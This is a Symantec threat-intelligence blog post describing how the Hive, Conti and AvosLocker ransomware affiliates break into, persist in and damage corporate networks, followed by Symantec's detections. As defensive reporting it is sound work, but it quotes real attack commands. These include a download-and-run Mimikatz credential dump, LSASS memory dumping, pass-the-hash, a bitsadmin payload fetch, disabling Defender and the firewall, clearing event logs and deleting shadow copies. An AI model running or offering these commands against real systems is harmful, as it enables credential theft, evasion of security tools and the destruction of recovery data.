Ransomware: How Attackers are Breaching Corporate Networks

symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker

Targeted ransomware attacks continue to be one of the most critical cyber risks facing organizations of all sizes. The tactics used by ransomware attackers are continually evolving, but by identifying the most frequently employed tools, tactics, and procedures (TTPs) organizations can gain a deeper understanding into how ransomware groups infiltrate networks and use this knowledge to identify and prioritize areas of weakness.

Symantec, a division of Broadcom Software, tracks various ransomware threats; however, the following three ransomware families are being observed in the majority of recent attacks:

- Hive
- Conti
- Avoslocker

Similar to many other ransomware families, Hive, Conti, and Avoslocker follow the ransomware-as-a-service (RaaS) business model. In the RaaS model the ransomware operators hire affiliates who are responsible for launching the ransomware attacks on their behalf. In most cases affiliates stick to a playbook that contains detailed attack steps laid out by the ransomware operators.

Once initial access to a victim network has been gained, Hive, Conti, and Avoslocker use a plethora of TTPs to help the operators achieve the following:

- Gain persistence on the network
- Escalate privileges
- Tamper with and evade security software
- Laterally move across the network

Initial Access

Affiliates for the Hive, Conti, and Avoslocker ransomware operators use a variety of techniques to gain an initial foothold on victim networks. Some of these techniques include:

- Spear phishing leading to the deployment of malware, including but not limited to:
    - IcedID
    - Emotet
    - QakBot
    - TrickBot
- Taking advantage of weak RDP credentials
- Exploiting vulnerabilities such as:
    - Microsoft Exchange vulnerabilities - CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-26855
    - FortiGate firewall vulnerabilities - CVE-2018-13379 and CVE-2018-13374
    - Apache Log4j vulnerabily - CVE-2021-44228

In most cases, the spear-phishing emails contain Microsoft Word document attachments embedded with macros that lead to the installation of one of the previously mentioned malware threats. In some instances, attackers use this malware to install Cobalt Strike, which is then used to pivot to other systems on the network. These malware threats are then used to distribute ransomware onto compromised computers.

Persistence

After gaining initial access, Symantec has observed affiliates for all three ransomware families using third-party software such as AnyDesk and ConnectWise Control (previously known as ScreenConnect) to maintain access to victim networks. They also enable default Remote Desktop access in the firewall:

```
netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes
```

Actors are also known to create additional users on compromised systems to maintain access. In some instances we have seen threat actors add registry entries that allow them to automatically log in when a machine is restarted:

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d <user> /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
AutoAdminLogon /t REG_SZ /d 1 /f
```

Discovery

During the discovery phase the ransomware actors try to sweep the victim’s network to identify potential targets. Symantec has observed the aforementioned ransomware actors using tools such as the following:

- ADRecon - Gathers Active Directory information and generates a report
- Netscan - Discovers devices on the network

Credential Access

Mimikatz is a go-to tool for most ransomware groups and Hive, Conti, and Avoslocker are no exception. We have observed them using the PowerShell version of Mimikatz as well as the PE version of the tool. There are also instances where the threat actors directly load the PowerShell version of Mimikatz from GitHub repositories:

```
powershell IEX((new-object
net.webclient).downloadstring('https://raw.githubusercontent.com/<redacted>/Invoke-
Mimikatz.ps1'));Invoke-Mimikatz -DumpCreds
```

In addition to using Mimikatz, the threat actors have also taken advantage of the native rundll32 and comsvcs.dll combination to dump the LSASS memory:

```
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <process id> lsass.dmp full
```

Adversaries also dump the SECURITY, SYSTEM, and SAM hives and later extract credentials from the dump. In rare occasions they have also been observed using taskmgr.exe to dump the LSASS memory and later using the dump to extract valuable credentials.

Lateral Movement

Attackers employ tools like PsExec, WMI, and BITSAdmin to laterally spread and execute the ransomware on victim networks. We have also observed the attackers using several other techniques to laterally move across networks.

PsExec

```
psexec -accepteula @ips.txt -s -d -c CSIDL_WINDOWS\xxx.exe
```

WMI

```
wmic /node:@C:\share$\comps1.txt /user:"user" /password:"password" process call create
"cmd.exe /c bitsadmin /transfer xxx \\IP\share$\xxx.exe
%APPDATA%\xxx.exe&%APPDATA%\xxx.exe"
```

BITSAdmin

```
bitsadmin /transfer debjob /download /priority
normal hxxp://<IP>/ele.dll CSIDL_WINDOWS\ele.dll
```

Mimikatz

```
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<ntlm
hash>"
```

Defense Evasion

As with a number of other ransomware families, Hive, Conti, and Avoslocker also tamper with various security products that interfere with their goal. We have observed them meddling with security services using the net, taskkill, and sccommands to disable or terminate them. In some cases they also use tools like PC Hunterto end processes. They have also been seen tampering with various registry entries related to security products, since changes to the registry entries can make those products inoperative.

Both Hive and AvosLocker have been observed attempting to disable Windows Defender using the following reg.exe commands.

AvosLocker:

```
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t
REG_DWORD /d 1 /f
```

Hive:

```
reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware"
/t REG_DWORD /d "1" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t
REG_DWORD /d "1" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v
"MpEnablePus" /t REG_DWORD /d "0" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v
"DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
```

```
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
```

```
reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
```

```
reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
```

```
reg.exe delete aHKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run” /v “Windows Defender” /f
```

```
reg.exe delete “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” /v “Windows Defender” /
```

Disabling the default Windows firewall is also one of the techniques we have seen being used by these ransomware families:

```
netsh advfirewall set allprofiles state off
```

To cover their tracks on a victim system the actors may also clear the Windows event log:

```
wevtutil.exe cl system
wevtutil.exe cl security
```

```
wevtutil.exe cl application
```

```
powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
```

Impact

Adversaries tend to disable or tamper with operating system settings in order to make it difficult for administrators to recover data. Deleting shadow copies is a common tactic threat actors perform before starting the encryption process. They perform this task by using tools like Vssadmin or WMIC and running one of the following commands:

```
vssadmin.exe delete shadows /all /quiet
```

```
wmic.exe shadowcopy delete
```

We have also seen BCDEditbeing used to disable automatic system recovery and to ignore failures on boot:

```
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
```

```
bcdedit.exe /set {default} recoveryenabled no
```

In some instances the actors delete the safe mode settings in the registry to stop security product services from starting in safe mode:

```
reg delete HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\<service> /f
```

Exfiltration

Attackers commonly exfiltrate critical data from a victim’s environment before encrypting it. They then use the stolen data in an attempt to extort a ransom from victims. We have observed threat actors using the following cloud services to exfiltrate data:

- https://anonfiles.com
- https://mega.nz
- https://send.exploit.in
- https://ufile.io
- https://www.sendspace.com

We have also seen attackers use the following tools for data exfiltration:

- Filezilla
- Rclone

Conclusion

The TTPs outlined in this blog are a snapshot of the current ransomware threat landscape. The TTPs used by these threat actors are constantly evolving, with groups continually tweaking their methods in a bid to outmaneuver their targets' security defenses. As such, organizations need to be vigilant and employ a multi-layered security approach.

Symantec Protection

Symantec Endpoint Protection (SEP) protects against ransomware attacks using multiple static and dynamic technologies.

AV Protection

- Ransom.Hive
- Ransom.Conti
- Ransom.AvosLocker
- Backdoor.Cobalt
- Hacktool.Mimikatz
- Trojan.IcedID*
- Trojan.Emotet*
- W32.Qakbot*
- Trojan.Trickybot*

Behavioral Protection

- SONAR.RansomHive!g2
- SONAR.RansomHive!g3
- SONAR.RansomHive!g4
- SONAR.RansomAvos!g2
- SONAR.RansomConti!g1
- SONAR.RansomConti!g3
- SONAR.RansomConti!g4
- SONAR.Ransomware!g30
- SONAR.RansomGregor!g1
- SONAR.SuspLaunch!gen4
- SONAR.SuspLaunch!g18
- SONAR.Ransom!gen59
- SONAR.Ransomware!g26
- SONAR.Cryptlck!g171

Intrusion Prevention System (IPS) detections

IPS blocks initial access, persistence, and lateral movement. SEP's Audit Signatures are intended to raise awareness of potentially unwanted traffic on the network. By default, Audit Signatures do not block. Administrators reviewing the logs of IPS events in their network can note these Audit events and decide whether or not to configure the corresponding Audit Signatures to block the traffic.

The following is a list of Audit Signatures that can be enabled to block, through policies, activity related to the use of software or tools such as AnyDesk, ScreenConnect, and PsExec.

Symantec recommends that you have intrusion prevention enabled on all your devices including servers.

Adaptive Protection

Symantec Adaptive Protection can help protect against lateral movement and ransomware execution techniques used by an attacker. If you are not using tools like PsExec, WMIC, and BITSAdmin in your environment then you should “Deny” these applications and actions using Symantec Adaptive Protection policies.

About the Author

Karthikeyan C Kasiviswanathan

Principal Threat Analysis Engineer

Karthikeyan is a member of Symantec’s Security Technology and Response team which is focused on providing round-the-clock protection against current and future cyber threats.

About the Author

Vishal Kamble

Principal Threat Analysis Engineer

Vishal is member of Symantec’s Security Technology and Response team where he is focused on researching future cyber threats.